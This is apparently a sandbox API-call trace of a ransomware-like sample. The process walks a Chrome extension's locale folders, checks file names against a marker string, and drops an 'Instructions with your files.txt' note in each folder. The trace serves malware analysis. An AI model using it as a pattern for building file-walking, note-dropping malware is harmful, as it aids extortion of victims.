[0129.786] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.786] GetProcessHeap () returned 0x810000
[0129.786] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.786] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1
[0129.786] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv") returned 141
[0129.786] GetProcessHeap () returned 0x810000
[0129.786] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.786] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\*") returned 143
[0129.786] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.786] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\.") returned 143
[0129.786] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.786] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\..") returned 144
[0129.786] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa2460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.786] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json") returned 155
[0129.786] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.786] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa2460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.786] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\Instructions with your files.txt") returned 174
[0129.786] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.787] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.788] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.788] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.788] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.788] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.788] CloseHandle (hObject=0x134) returned 1
[0129.788] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.788] GetProcessHeap () returned 0x810000
[0129.788] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.788] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sw", cAlternateFileName="")) returned 1
[0129.788] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw") returned 141
[0129.788] GetProcessHeap () returned 0x810000
[0129.788] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.788] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\*") returned 143
[0129.788] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.789] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\.") returned 143
[0129.789] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.789] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\..") returned 144
[0129.789] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa2460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.789] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json") returned 155
[0129.790] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.790] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa2460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.790] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\Instructions with your files.txt") returned 174
[0129.790] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.790] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.791] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.791] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.791] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.791] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.791] CloseHandle (hObject=0x134) returned 1
[0129.791] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.791] GetProcessHeap () returned 0x810000
[0129.791] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.791] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ta", cAlternateFileName="")) returned 1
[0129.791] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta") returned 141
[0129.792] GetProcessHeap () returned 0x810000
[0129.792] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.792] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\*") returned 143
[0129.792] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.792] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\.") returned 143
[0129.792] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.792] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\..") returned 144
[0129.792] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa2460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x150, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.792] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json") returned 155
[0129.792] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.792] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa2460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x150, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.792] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\Instructions with your files.txt") returned 174
[0129.792] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.793] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.793] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.793] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.794] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.794] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.794] CloseHandle (hObject=0x134) returned 1
[0129.794] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.794] GetProcessHeap () returned 0x810000
[0129.794] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.794] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="te", cAlternateFileName="")) returned 1
[0129.794] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te") returned 141
[0129.794] GetProcessHeap () returned 0x810000
[0129.794] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.794] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\*") returned 143
[0129.794] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.795] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\.") returned 143
[0129.795] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.795] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\..") returned 144
[0129.795] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa2460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x115, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
